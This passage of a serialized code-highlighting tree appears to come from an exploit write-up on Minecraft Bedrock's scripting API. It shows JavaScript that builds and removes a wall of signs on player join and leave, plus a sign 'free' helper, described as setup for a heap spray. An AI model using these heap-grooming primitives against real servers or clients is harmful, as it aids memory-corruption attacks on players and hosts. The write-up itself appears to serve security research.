,{"type":26,"value":1439},{"type":21,"tag":85,"props":150936,"children":150937},{"style":5026},[150938],{"type":26,"value":150939},"\"No more allocs\"",{"type":21,"tag":85,"props":150941,"children":150942},{"style":114},[150943],{"type":26,"value":777},{"type":21,"tag":85,"props":150945,"children":150946},{"class":87,"line":1402},[150947,150951,150955],{"type":21,"tag":85,"props":150948,"children":150949},{"style":2885},[150950],{"type":26,"value":17411},{"type":21,"tag":85,"props":150952,"children":150953},{"style":102},[150954],{"type":26,"value":39786},{"type":21,"tag":85,"props":150956,"children":150957},{"style":114},[150958],{"type":26,"value":2535},{"type":21,"tag":85,"props":150960,"children":150961},{"class":87,"line":3145},[150962],{"type":21,"tag":85,"props":150963,"children":150964},{"style":114},[150965],{"type":26,"value":2671},{"type":21,"tag":85,"props":150967,"children":150968},{"class":87,"line":3246},[150969],{"type":21,"tag":85,"props":150970,"children":150971},{"emptyLinePlaceholder":16},[150972],{"type":26,"value":703},{"type":21,"tag":85,"props":150974,"children":150975},{"class":87,"line":3255},[150976],{"type":21,"tag":85,"props":150977,"children":150978},{"style":92},[150979],{"type":26,"value":150980},"// Free an allocated sign in the client\n",{"type":21,"tag":85,"props":150982,"children":150983},{"class":87,"line":3286},[150984,150988,150993,150997,151001],{"type":21,"tag":85,"props":150985,"children":150986},{"style":102},[150987],{"type":26,"value":31822},{"type":21,"tag":85,"props":150989,"children":150990},{"style":1021},[150991],{"type":26,"value":150992}," free",{"type":21,"tag":85,"props":150994,"children":150995},{"style":114},[150996],{"type":26,"value":1439},{"type":21,"tag":85,"props":150998,"children":150999},{"style":120},[151000],{"type":26,"value":150742},{"type":21,"tag":85,"props":151002,"children":151003},{"style":114},[151004],{"type":26,"value":15222},{"type":21,"tag":85,"props":151006,"children":151007},{"class":87,"line":3295},[151008,151012,151016,151020,151024,151028,151032,151036,151040,151044,151048,151052],{"type":21,"tag":85,"props":151009,"children":151010},{"style":2885},[151011],{"type":26,"value":12696},{"type":21,"tag":85,"props":151013,"children":151014},{"style":114},[151015],{"type":26,"value":717},{"type":21,"tag":85,"props":151017,"children":151018},{"style":120},[151019],{"type":26,"value":150742},{"type":21,"tag":85,"props":151021,"children":151022},{"style":169},[151023],{"type":26,"value":2282},{"type":21,"tag":85,"props":151025,"children":151026},{"style":102},[151027],{"type":26,"value":39786},{"type":21,"tag":85,"props":151029,"children":151030},{"style":169},[151031],{"type":26,"value":24137},{"type":21,"tag":85,"props":151033,"children":151034},{"style":120},[151035],{"type":26,"value":150713},{"type":21,"tag":85,"props":151037,"children":151038},{"style":114},[151039],{"type":26,"value":73},{"type":21,"tag":85,"props":151041,"children":151042},{"style":120},[151043],{"type":26,"value":150751},{"type":21,"tag":85,"props":151045,"children":151046},{"style":169},[151047],{"type":26,"value":2282},{"type":21,"tag":85,"props":151049,"children":151050},{"style":102},[151051],{"type":26,"value":3438},{"type":21,"tag":85,"props":151053,"children":151054},{"style":114},[151055],{"type":26,"value":15222},{"type":21,"tag":85,"props":151057,"children":151058},{"class":87,"line":3308},[151059,151063],{"type":21,"tag":85,"props":151060,"children":151061},{"style":2885},[151062],{"type":26,"value":16164},{"type":21,"tag":85,"props":151064,"children":151065},{"style":114},[151066],{"type":26,"value":2535},{"type":21,"tag":85,"props":151068,"children":151069},{"class":87,"line":3333},[151070],{"type":21,"tag":85,"props":151071,"children":151072},{"style":114},[151073],{"type":26,"value":507},{"type":21,"tag":85,"props":151075,"children":151076},{"class":87,"line":3369},[151077],{"type":21,"tag":85,"props":151078,"children":151079},{"emptyLinePlaceholder":16},[151080],{"type":26,"value":703},{"type":21,"tag":85,"props":151082,"children":151083},{"class":87,"line":3377},[151084,151089,151093,151097,151101,151105,151109,151114],{"type":21,"tag":85,"props":151085,"children":151086},{"style":120},[151087],{"type":26,"value":151088},"    sign",{"type":21,"tag":85,"props":151090,"children":151091},{"style":114},[151092],{"type":26,"value":73},{"type":21,"tag":85,"props":151094,"children":151095},{"style":120},[151096],{"type":26,"value":150742},{"type":21,"tag":85,"props":151098,"children":151099},{"style":114},[151100],{"type":26,"value":73},{"type":21,"tag":85,"props":151102,"children":151103},{"style":1021},[151104],{"type":26,"value":150822},{"type":21,"tag":85,"props":151106,"children":151107},{"style":114},[151108],{"type":26,"value":1439},{"type":21,"tag":85,"props":151110,"children":151111},{"style":5026},[151112],{"type":26,"value":151113},"\"\"",{"type":21,"tag":85,"props":151115,"children":151116},{"style":114},[151117],{"type":26,"value":777},{"type":21,"tag":85,"props":151119,"children":151120},{"class":87,"line":3386},[151121,151125,151129,151133,151137,151141],{"type":21,"tag":85,"props":151122,"children":151123},{"style":120},[151124],{"type":26,"value":151088},{"type":21,"tag":85,"props":151126,"children":151127},{"style":114},[151128],{"type":26,"value":73},{"type":21,"tag":85,"props":151130,"children":151131},{"style":120},[151132],{"type":26,"value":150751},{"type":21,"tag":85,"props":151134,"children":151135},{"style":169},[151136],{"type":26,"value":1941},{"type":21,"tag":85,"props":151138,"children":151139},{"style":102},[151140],{"type":26,"value":3438},{"type":21,"tag":85,"props":151142,"children":151143},{"style":114},[151144],{"type":26,"value":2535},{"type":21,"tag":85,"props":151146,"children":151147},{"class":87,"line":3394},[151148],{"type":21,"tag":85,"props":151149,"children":151150},{"emptyLinePlaceholder":16},[151151],{"type":26,"value":703},{"type":21,"tag":85,"props":151153,"children":151154},{"class":87,"line":3410},[151155,151159,151163,151168,151172,151177],{"type":21,"tag":85,"props":151156,"children":151157},{"style":120},[151158],{"type":26,"value":151088},{"type":21,"tag":85,"props":151160,"children":151161},{"style":114},[151162],{"type":26,"value":73},{"type":21,"tag":85,"props":151164,"children":151165},{"style":120},[151166],{"type":26,"value":151167},"block",{"type":21,"tag":85,"props":151169,"children":151170},{"style":114},[151171],{"type":26,"value":73},{"type":21,"tag":85,"props":151173,"children":151174},{"style":1021},[151175],{"type":26,"value":151176},"setPermutation",{"type":21,"tag":85,"props":151178,"children":151179},{"style":114},[151180],{"type":26,"value":1029},{"type":21,"tag":85,"props":151182,"children":151183},{"class":87,"line":3427},[151184,151189,151193,151198,151202,151207],{"type":21,"tag":85,"props":151185,"children":151186},{"style":120},[151187],{"type":26,"value":151188},"        BlockPermutation",{"type":21,"tag":85,"props":151190,"children":151191},{"style":114},[151192],{"type":26,"value":73},{"type":21,"tag":85,"props":151194,"children":151195},{"style":1021},[151196],{"type":26,"value":151197},"resolve",{"type":21,"tag":85,"props":151199,"children":151200},{"style":114},[151201],{"type":26,"value":1439},{"type":21,"tag":85,"props":151203,"children":151204},{"style":5026},[151205],{"type":26,"value":151206},"\"minecraft:air\"",{"type":21,"tag":85,"props":151208,"children":151209},{"style":114},[151210],{"type":26,"value":2485},{"type":21,"tag":85,"props":151212,"children":151213},{"class":87,"line":3445},[151214],{"type":21,"tag":85,"props":151215,"children":151216},{"style":114},[151217],{"type":26,"value":44108},{"type":21,"tag":85,"props":151219,"children":151220},{"class":87,"line":3490},[151221,151225,151229,151233,151237,151241],{"type":21,"tag":85,"props":151222,"children":151223},{"style":120},[151224],{"type":26,"value":151088},{"type":21,"tag":85,"props":151226,"children":151227},{"style":114},[151228],{"type":26,"value":73},{"type":21,"tag":85,"props":151230,"children":151231},{"style":120},[151232],{"type":26,"value":133427},{"type":21,"tag":85,"props":151234,"children":151235},{"style":169},[151236],{"type":26,"value":1941},{"type":21,"tag":85,"props":151238,"children":151239},{"style":102},[151240],{"type":26,"value":12886},{"type":21,"tag":85,"props":151242,"children":151243},{"style":114},[151244],{"type":26,"value":2535},{"type":21,"tag":85,"props":151246,"children":151247},{"class":87,"line":3596},[151248],{"type":21,"tag":85,"props":151249,"children":151250},{"style":114},[151251],{"type":26,"value":2671},{"type":21,"tag":22,"props":151253,"children":151254},{},[151255,151257,151263],{"type":26,"value":151256},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":21,"tag":66,"props":151258,"children":151260},{"className":151259},[],[151261],{"type":26,"value":151262},"signs",{"type":26,"value":151264}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":21,"tag":75,"props":151266,"children":151268},{"code":151267,"language":36063,"meta":7,"className":36061,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[151269],{"type":21,"tag":66,"props":151270,"children":151271},{"__ignoreMap":7},[151272,151287,151294,151310,151327,151334,151396,151458,151465,151481,151489,151511,151537,151562,151582,151611,151623,151630,151638,151660,151694,151701,151721,151737,151753,151769,151781,151789,151796,151803,151810,151817,151833,151848,151855,151914,151973,151980,151995,152003,152031,152059,152067,152074,152093,152120,152127,152134,152149,152156,152163,152170,152177,152233,152245,152252,152259,152320,152332],{"type":21,"tag":85,"props":151273,"children":151274},{"class":87,"line":88},[151275,151279,151283],{"type":21,"tag":85,"props":151276,"children":151277},{"style":102},[151278],{"type":26,"value":12204},{"type":21,"tag":85,"props":151280,"children":151281},{"style":120},[151282],{"type":26,"value":150722},{"type":21,"tag":85,"props":151284,"children":151285},{"style":114},[151286],{"type":26,"value":2535},{"type":21,"tag":85,"props":151288,"children":151289},{"class":87,"line":98},[151290],{"type":21,"tag":85,"props":151291,"children":151292},{"emptyLinePlaceholder":16},[151293],{"type":26,"value":703},{"type":21,"tag":85,"props":151295,"children":151296},{"class":87,"line":151},[151297,151301,151306],{"type":21,"tag":85,"props":151298,"children":151299},{"style":102},[151300],{"type":26,"value":31822},{"type":21,"tag":85,"props":151302,"children":151303},{"style":1021},[151304],{"type":26,"value":151305}," create_wall",{"type":21,"tag":85,"props":151307,"children":151308},{"style":114},[151309],{"type":26,"value":16156},{"type":21,"tag":85,"props":151311,"children":151312},{"class":87,"line":160},[151313,151318,151322],{"type":21,"tag":85,"props":151314,"children":151315},{"style":120},[151316],{"type":26,"value":151317},"    signs",{"type":21,"tag":85,"props":151319,"children":151320},{"style":169},[151321],{"type":26,"value":1941},{"type":21,"tag":85,"props":151323,"children":151324},{"style":114},[151325],{"type":26,"value":151326}," [];\n",{"type":21,"tag":85,"props":151328,"children":151329},{"class":87,"line":185},[151330],{"type":21,"tag":85,"props":151331,"children":151332},{"emptyLinePlaceholder":16},[151333],{"type":26,"value":703},{"type":21,"tag":85,"props":151335,"children":151336},{"class":87,"line":501},[151337,151341,151345,151349,151354,151358,151362,151366,151371,151375,151380,151384,151388,151392],{"type":21,"tag":85,"props":151338,"children":151339},{"style":2885},[151340],{"type":26,"value":3809},{"type":21,"tag":85,"props":151342,"children":151343},{"style":114},[151344],{"type":26,"value":717},{"type":21,"tag":85,"props":151346,"children":151347},{"style":102},[151348],{"type":26,"value":12204},{"type":21,"tag":85,"props":151350,"children":151351},{"style":120},[151352],{"type":26,"value":151353}," current_y",{"type":21,"tag":85,"props":151355,"children":151356},{"style":169},[151357],{"type":26,"value":1941},{"type":21,"tag":85,"props":151359,"children":151360},{"style":2285},[151361],{"type":26,"value":2830},{"type":21,"tag":85,"props":151363,"children":151364},{"style":114},[151365],{"type":26,"value":17649},{"type":21,"tag":85,"props":151367,"children":151368},{"style":120},[151369],{"type":26,"value":151370},"current_y",{"type":21,"tag":85,"props":151372,"children":151373},{"style":169},[151374],{"type":26,"value":3085},{"type":21,"tag":85,"props":151376,"children":151377},{"style":120},[151378],{"type":26,"value":151379}," WALL_HEIGHT",{"type":21,"tag":85,"props":151381,"children":151382},{"style":114},[151383],{"type":26,"value":17649},{"type":21,"tag":85,"props":151385,"children":151386},{"style":120},[151387],{"type":26,"value":151370},{"type":21,"tag":85,"props":151389,"children":151390},{"style":169},[151391],{"type":26,"value":51725},{"type":21,"tag":85,"props":151393,"children":151394},{"style":114},[151395],{"type":26,"value":15222},{"type":21,"tag":85,"props":151397,"children":151398},{"class":87,"line":697},[151399,151403,151407,151411,151416,151420,151424,151428,151433,151437,151442,151446,151450,151454],{"type":21,"tag":85,"props":151400,"children":151401},{"style":2885},[151402],{"type":26,"value":61034},{"type":21,"tag":85,"props":151404,"children":151405},{"style":114},[151406],{"type":26,"value":717},{"type":21,"tag":85,"props":151408,"children":151409},{"style":102},[151410],{"type":26,"value":12204},{"type":21,"tag":85,"props":151412,"children":151413},{"style":120},[151414],{"type":26,"value":151415}," current_x",{"type":21,"tag":85,"props":151417,"children":151418},{"style":169},[151419],{"type":26,"value":1941},{"type":21,"tag":85,"props":151421,"children":151422},{"style":2285},[151423],{"type":26,"value":2830},{"type":21,"tag":85,"props":151425,"children":151426},{"style":114},[151427],{"type":26,"value":17649},{"type":21,"tag":85,"props":151429,"children":151430},{"style":120},[151431],{"type":26,"value":151432},"current_x",{"type":21,"tag":85,"props":151434,"children":151435},{"style":169},[151436],{"type":26,"value":3085},{"type":21,"tag":85,"props":151438,"children":151439},{"style":120},[151440],{"type":26,"value":151441}," WALL_WIDTH",{"type":21,"tag":85,"props":151443,"children":151444},{"style":114},[151445],{"type":26,"value":17649},{"type":21,"tag":85,"props":151447,"children":151448},{"style":120},[151449],{"type":26,"value":151432},{"type":21,"tag":85,"props":151451,"children":151452},{"style":169},[151453],{"type":26,"value":51725},{"type":21,"tag":85,"props":151455,"children":151456},{"style":114},[151457],{"type":26,"value":15222},{"type":21,"tag":85,"props":151459,"children":151460},{"class":87,"line":706},[151461],{"type":21,"tag":85,"props":151462,"children":151463},{"emptyLinePlaceholder":16},[151464],{"type":26,"value":703},{"type":21,"tag":85,"props":151466,"children":151467},{"class":87,"line":1100},[151468,151473,151477],{"type":21,"tag":85,"props":151469,"children":151470},{"style":114},[151471],{"type":26,"value":151472},"            [",{"type":21,"tag":85,"props":151474,"children":151475},{"style":169},[151476],{"type":26,"value":10004},{"type":21,"tag":85,"props":151478,"children":151479},{"style":114},[151480],{"type":26,"value":12189},{"type":21,"tag":85,"props":151482,"children":151483},{"class":87,"line":1339},[151484],{"type":21,"tag":85,"props":151485,"children":151486},{"style":114},[151487],{"type":26,"value":151488},"            \n",{"type":21,"tag":85,"props":151490,"children":151491},{"class":87,"line":1348},[151492,151497,151502,151506],{"type":21,"tag":85,"props":151493,"children":151494},{"style":102},[151495],{"type":26,"value":151496},"            const",{"type":21,"tag":85,"props":151498,"children":151499},{"style":120},[151500],{"type":26,"value":151501}," sign_block",{"type":21,"tag":85,"props":151503,"children":151504},{"style":169},[151505],{"type":26,"value":1941},{"type":21,"tag":85,"props":151507,"children":151508},{"style":120},[151509],{"type":26,"value":151510}," world\n",{"type":21,"tag":85,"props":151512,"children":151513},{"class":87,"line":1386},[151514,151519,151524,151528,151533],{"type":21,"tag":85,"props":151515,"children":151516},{"style":114},[151517],{"type":26,"value":151518},"                .",{"type":21,"tag":85,"props":151520,"children":151521},{"style":1021},[151522],{"type":26,"value":151523},"getDimension",{"type":21,"tag":85,"props":151525,"children":151526},{"style":114},[151527],{"type":26,"value":1439},{"type":21,"tag":85,"props":151529,"children":151530},{"style":5026},[151531],{"type":26,"value":151532},"\"overworld\"",{"type":21,"tag":85,"props":151534,"children":151535},{"style":114},[151536],{"type":26,"value":2485},{"type":21,"tag":85,"props":151538,"children":151539},{"class":87,"line":1394},[151540,151544,151549,151553,151558],{"type":21,"tag":85,"props":151541,"children":151542},{"style":114},[151543],{"type":26,"value":151518},{"type":21,"tag":85,"props":151545,"children":151546},{"style":1021},[151547],{"type":26,"value":151548},"getBlock",{"type":21,"tag":85,"props":151550,"children":151551},{"style":114},[151552],{"type":26,"value":1439},{"type":21,"tag":85,"props":151554,"children":151555},{"style":120},[151556],{"type":26,"value":151557},"sign_location",{"type":21,"tag":85,"props":151559,"children":151560},{"style":114},[151561],{"type":26,"value":777},{"type":21,"tag":85,"props":151563,"children":151564},{"class":87,"line":1402},[151565,151570,151574,151578],{"type":21,"tag":85,"props":151566,"children":151567},{"style":120},[151568],{"type":26,"value":151569},"            sign_block",{"type":21,"tag":85,"props":151571,"children":151572},{"style":114},[151573],{"type":26,"value":73},{"type":21,"tag":85,"props":151575,"children":151576},{"style":1021},[151577],{"type":26,"value":151176},{"type":21,"tag":85,"props":151579,"children":151580},{"style":114},[151581],{"type":26,"value":1029},{"type":21,"tag":85,"props":151583,"children":151584},{"class":87,"line":3145},[151585,151590,151594,151598,151602,151607],{"type":21,"tag":85,"props":151586,"children":151587},{"style":120},[151588],{"type":26,"value":151589},"                BlockPermutation",{"type":21,"tag":85,"props":151591,"children":151592},{"style":114},[151593],{"type":26,"value":73},{"type":21,"tag":85,"props":151595,"children":151596},{"style":1021},[151597],{"type":26,"value":151197},{"type":21,"tag":85,"props":151599,"children":151600},{"style":114},[151601],{"type":26,"value":1439},{"type":21,"tag":85,"props":151603,"children":151604},{"style":5026},[151605],{"type":26,"value":151606},"\"minecraft:wall_sign\"",{"type":21,"tag":85,"props":151608,"children":151609},{"style":114},[151610],{"type":26,"value":49337},{"type":21,"tag":85,"props":151612,"children":151613},{"class":87,"line":3246},[151614,151619],{"type":21,"tag":85,"props":151615,"children":151616},{"style":120},[151617],{"type":26,"value":151618},"                    facing_direction:",{"type":21,"tag":85,"props":151620,"children":151621},{"style":2285},[151622],{"type":26,"value":19753},{"type":21,"tag":85,"props":151624,"children":151625},{"class":87,"line":3255},[151626],{"type":21,"tag":85,"props":151627,"children":151628},{"style":114},[151629],{"type":26,"value":71531},{"type":21,"tag":85,"props":151631,"children":151632},{"class":87,"line":3286},[151633],{"type":21,"tag":85,"props":151634,"children":151635},{"style":114},[151636],{"type":26,"value":151637},"            ));\n",{"type":21,"tag":85,"props":151639,"children":151640},{"class":87,"line":3295},[151641,151646,151651,151655],{"type":21,"tag":85,"props":151642,"children":151643},{"style":102},[151644],{"type":26,"value":151645},"            let",{"type":21,"tag":85,"props":151647,"children":151648},{"style":120},[151649],{"type":26,"value":151650}," sign_component",{"type":21,"tag":85,"props":151652,"children":151653},{"style":169},[151654],{"type":26,"value":1941},{"type":21,"tag":85,"props":151656,"children":151657},{"style":120},[151658],{"type":26,"value":151659}," sign_block\n",{"type":21,"tag":85,"props":151661,"children":151662},{"class":87,"line":3308},[151663,151667,151672,151676,151681,151685,151690],{"type":21,"tag":85,"props":151664,"children":151665},{"style":114},[151666],{"type":26,"value":151518},{"type":21,"tag":85,"props":151668,"children":151669},{"style":1021},[151670],{"type":26,"value":151671},"getComponent",{"type":21,"tag":85,"props":151673,"children":151674},{"style":114},[151675],{"type":26,"value":1439},{"type":21,"tag":85,"props":151677,"children":151678},{"style":120},[151679],{"type":26,"value":151680},"BlockComponentTypes",{"type":21,"tag":85,"props":151682,"children":151683},{"style":114},[151684],{"type":26,"value":73},{"type":21,"tag":85,"props":151686,"children":151687},{"style":120},[151688],{"type":26,"value":151689},"Sign",{"type":21,"tag":85,"props":151691,"children":151692},{"style":114},[151693],{"type":26,"value":777},{"type":21,"tag":85,"props":151695,"children":151696},{"class":87,"line":3333},[151697],{"type":21,"tag":85,"props":151698,"children":151699},{"emptyLinePlaceholder":16},[151700],{"type":26,"value":703},{"type":21,"tag":85,"props":151702,"children":151703},{"class":87,"line":3369},[151704,151709,151713,151717],{"type":21,"tag":85,"props":151705,"children":151706},{"style":120},[151707],{"type":26,"value":151708},"            signs",{"type":21,"tag":85,"props":151710,"children":151711},{"style":114},[151712],{"type":26,"value":73},{"type":21,"tag":85,"props":151714,"children":151715},{"style":1021},[151716],{"type":26,"value":4577},{"type":21,"tag":85,"props":151718,"children":151719},{"style":114},[151720],{"type":26,"value":15559},{"type":21,"tag":85,"props":151722,"children":151723},{"class":87,"line":3377},[151724,151729,151733],{"type":21,"tag":85,"props":151725,"children":151726},{"style":120},[151727],{"type":26,"value":151728},"                sign:",{"type":21,"tag":85,"props":151730,"children":151731},{"style":120},[151732],{"type":26,"value":151650},{"type":21,"tag":85,"props":151734,"children":151735},{"style":114},[151736],{"type":26,"value":182},{"type":21,"tag":85,"props":151738,"children":151739},{"class":87,"line":3386},[151740,151745,151749],{"type":21,"tag":85,"props":151741,"children":151742},{"style":120},[151743],{"type":26,"value":151744},"                allocated:",{"type":21,"tag":85,"props":151746,"children":151747},{"style":102},[151748],{"type":26,"value":3438},{"type":21,"tag":85,"props":151750,"children":151751},{"style":114},[151752],{"type":26,"value":182},{"type":21,"tag":85,"props":151754,"children":151755},{"class":87,"line":3394},[151756,151761,151765],{"type":21,"tag":85,"props":151757,"children":151758},{"style":120},[151759],{"type":26,"value":151760},"                block:",{"type":21,"tag":85,"props":151762,"children":151763},{"style":120},[151764],{"type":26,"value":151501},{"type":21,"tag":85,"props":151766,"children":151767},{"style":114},[151768],{"type":26,"value":182},{"type":21,"tag":85,"props":151770,"children":151771},{"class":87,"line":3410},[151772,151777],{"type":21,"tag":85,"props":151773,"children":151774},{"style":120},[151775],{"type":26,"value":151776},"                removed:",{"type":21,"tag":85,"props":151778,"children":151779},{"style":102},[151780],{"type":26,"value":12728},{"type":21,"tag":85,"props":151782,"children":151783},{"class":87,"line":3427},[151784],{"type":21,"tag":85,"props":151785,"children":151786},{"style":114},[151787],{"type":26,"value":151788},"            });\n",{"type":21,"tag":85,"props":151790,"children":151791},{"class":87,"line":3445},[151792],{"type":21,"tag":85,"props":151793,"children":151794},{"style":114},[151795],{"type":26,"value":4118},{"type":21,"tag":85,"props":151797,"children":151798},{"class":87,"line":3490},[151799],{"type":21,"tag":85,"props":151800,"children":151801},{"style":114},[151802],{"type":26,"value":507},{"type":21,"tag":85,"props":151804,"children":151805},{"class":87,"line":3596},[151806],{"type":21,"tag":85,"props":151807,"children":151808},{"style":114},[151809],{"type":26,"value":2671},{"type":21,"tag":85,"props":151811,"children":151812},{"class":87,"line":23938},[151813],{"type":21,"tag":85,"props":151814,"children":151815},{"emptyLinePlaceholder":16},[151816],{"type":26,"value":703},{"type":21,"tag":85,"props":151818,"children":151819},{"class":87,"line":23973},[151820,151824,151829],{"type":21,"tag":85,"props":151821,"children":151822},{"style":102},[151823],{"type":26,"value":31822},{"type":21,"tag":85,"props":151825,"children":151826},{"style":1021},[151827],{"type":26,"value":151828}," remove_wall",{"type":21,"tag":85,"props":151830,"children":151831},{"style":114},[151832],{"type":26,"value":16156},{"type":21,"tag":85,"props":151834,"children":151835},{"class":87,"line":23981},[151836,151840,151844],{"type":21,"tag":85,"props":151837,"children":151838},{"style":120},[151839],{"type":26,"value":151317},{"type":21,"tag":85,"props":151841,"children":151842},{"style":169},[151843],{"type":26,"value":1941},{"type":21,"tag":85,"props":151845,"children":151846},{"style":114},[151847],{"type":26,"value":151326},{"type":21,"tag":85,"props":151849,"children":151850},{"class":87,"line":23989},[151851],{"type":21,"tag":85,"props":151852,"children":151853},{"style":114},[151854],{"type":26,"value":62244},{"type":21,"tag":85,"props":151856,"children":151857},{"class":87,"line":23998},[151858,151862,151866,151870,151874,151878,151882,151886,151890,151894,151898,151902,151906,151910],{"type":21,"tag":85,"props":151859,"children":151860},{"style":2885},[151861],{"type":26,"value":3809},{"type":21,"tag":85,"props":151863,"children":151864},{"style":114},[151865],{"type":26,"value":717},{"type":21,"tag":85,"props":151867,"children":151868},{"style":102},[151869],{"type":26,"value":12204},{"type":21,"tag":85,"props":151871,"children":151872},{"style":120},[151873],{"type":26,"value":151353},{"type":21,"tag":85,"props":151875,"children":151876},{"style":169},[151877],{"type":26,"value":1941},{"type":21,"tag":85,"props":151879,"children":151880},{"style":2285},[151881],{"type":26,"value":2830},{"type":21,"tag":85,"props":151883,"children":151884},{"style":114},[151885],{"type":26,"value":17649},{"type":21,"tag":85,"props":151887,"children":151888},{"style":120},[151889],{"type":26,"value":151370},{"type":21,"tag":85,"props":151891,"children":151892},{"style":169},[151893],{"type":26,"value":3085},{"type":21,"tag":85,"props":151895,"children":151896},{"style":120},[151897],{"type":26,"value":151379},{"type":21,"tag":85,"props":151899,"children":151900},{"style":114},[151901],{"type":26,"value":17649},{"type":21,"tag":85,"props":151903,"children":151904},{"style":120},[151905],{"type":26,"value":151370},{"type":21,"tag":85,"props":151907,"children":151908},{"style":169},[151909],{"type":26,"value":51725},{"type":21,"tag":85,"props":151911,"children":151912},{"style":114},[151913],{"type":26,"value":15222},{"type":21,"tag":85,"props":151915,"children":151916},{"class":87,"line":24040},[151917,151921,151925,151929,151933,151937,151941,151945,151949,151953,151957,151961,151965,151969],{"type":21,"tag":85,"props":151918,"children":151919},{"style":2885},[151920],{"type":26,"value":61034},{"type":21,"tag":85,"props":151922,"children":151923},{"style":114},[151924],{"type":26,"value":717},{"type":21,"tag":85,"props":151926,"children":151927},{"style":102},[151928],{"type":26,"value":12204},{"type":21,"tag":85,"props":151930,"children":151931},{"style":120},[151932],{"type":26,"value":151415},{"type":21,"tag":85,"props":151934,"children":151935},{"style":169},[151936],{"type":26,"value":1941},{"type":21,"tag":85,"props":151938,"children":151939},{"style":2285},[151940],{"type":26,"value":2830},{"type":21,"tag":85,"props":151942,"children":151943},{"style":114},[151944],{"type":26,"value":17649},{"type":21,"tag":85,"props":151946,"children":151947},{"style":120},[151948],{"type":26,"value":151432},{"type":21,"tag":85,"props":151950,"children":151951},{"style":169},[151952],{"type":26,"value":3085},{"type":21,"tag":85,"props":151954,"children":151955},{"style":120},[151956],{"type":26,"value":151441},{"type":21,"tag":85,"props":151958,"children":151959},{"style":114},[151960],{"type":26,"value":17649},{"type":21,"tag":85,"props":151962,"children":151963},{"style":120},[151964],{"type":26,"value":151432},{"type":21,"tag":85,"props":151966,"children":151967},{"style":169},[151968],{"type":26,"value":51725},{"type":21,"tag":85,"props":151970,"children":151971},{"style":114},[151972],{"type":26,"value":15222},{"type":21,"tag":85,"props":151974,"children":151975},{"class":87,"line":24073},[151976],{"type":21,"tag":85,"props":151977,"children":151978},{"style":114},[151979],{"type":26,"value":151488},{"type":21,"tag":85,"props":151981,"children":151982},{"class":87,"line":24081},[151983,151987,151991],{"type":21,"tag":85,"props":151984,"children":151985},{"style":114},[151986],{"type":26,"value":151472},{"type":21,"tag":85,"props":151988,"children":151989},{"style":169},[151990],{"type":26,"value":10004},{"type":21,"tag":85,"props":151992,"children":151993},{"style":114},[151994],{"type":26,"value":12189},{"type":21,"tag":85,"props":151996,"children":151997},{"class":87,"line":24089},[151998],{"type":21,"tag":85,"props":151999,"children":152000},{"style":114},[152001],{"type":26,"value":152002},"             \n",{"type":21,"tag":85,"props":152004,"children":152005},{"class":87,"line":24098},[152006,152010,152014,152018,152022,152027],{"type":21,"tag":85,"props":152007,"children":152008},{"style":102},[152009],{"type":26,"value":151496},{"type":21,"tag":85,"props":152011,"children":152012},{"style":120},[152013],{"type":26,"value":151501},{"type":21,"tag":85,"props":152015,"children":152016},{"style":169},[152017],{"type":26,"value":1941},{"type":21,"tag":85,"props":152019,"children":152020},{"style":2885},[152021],{"type":26,"value":36659},{"type":21,"tag":85,"props":152023,"children":152024},{"style":1021},[152025],{"type":26,"value":152026}," wait_for_block",{"type":21,"tag":85,"props":152028,"children":152029},{"style":114},[152030],{"type":26,"value":1029},{"type":21,"tag":85,"props":152032,"children":152033},{"class":87,"line":24174},[152034,152039,152043,152047,152051,152055],{"type":21,"tag":85,"props":152035,"children":152036},{"style":120},[152037],{"type":26,"value":152038},"                world",{"type":21,"tag":85,"props":152040,"children":152041},{"style":114},[152042],{"type":26,"value":73},{"type":21,"tag":85,"props":152044,"children":152045},{"style":1021},[152046],{"type":26,"value":151523},{"type":21,"tag":85,"props":152048,"children":152049},{"style":114},[152050],{"type":26,"value":1439},{"type":21,"tag":85,"props":152052,"children":152053},{"style":5026},[152054],{"type":26,"value":151532},{"type":21,"tag":85,"props":152056,"children":152057},{"style":114},[152058],{"type":26,"value":1074},{"type":21,"tag":85,"props":152060,"children":152061},{"class":87,"line":24207},[152062],{"type":21,"tag":85,"props":152063,"children":152064},{"style":120},[152065],{"type":26,"value":152066},"                sign_location\n",{"type":21,"tag":85,"props":152068,"children":152069},{"class":87,"line":24215},[152070],{"type":21,"tag":85,"props":152071,"children":152072},{"style":114},[152073],{"type":26,"value":125576},{"type":21,"tag":85,"props":152075,"children":152076},{"class":87,"line":24223},[152077,152081,152085,152089],{"type":21,"tag":85,"props":152078,"children":152079},{"style":120},[152080],{"type":26,"value":151569},{"type":21,"tag":85,"props":152082,"children":152083},{"style":114},[152084],{"type":26,"value":73},{"type":21,"tag":85,"props":152086,"children":152087},{"style":1021},[152088],{"type":26,"value":151176},{"type":21,"tag":85,"props":152090,"children":152091},{"style":114},[152092],{"type":26,"value":1029},{"type":21,"tag":85,"props":152094,"children":152095},{"class":87,"line":24260},[152096,152100,152104,152108,152112,152116],{"type":21,"tag":85,"props":152097,"children":152098},{"style":120},[152099],{"type":26,"value":151589},{"type":21,"tag":85,"props":152101,"children":152102},{"style":114},[152103],{"type":26,"value":73},{"type":21,"tag":85,"props":152105,"children":152106},{"style":1021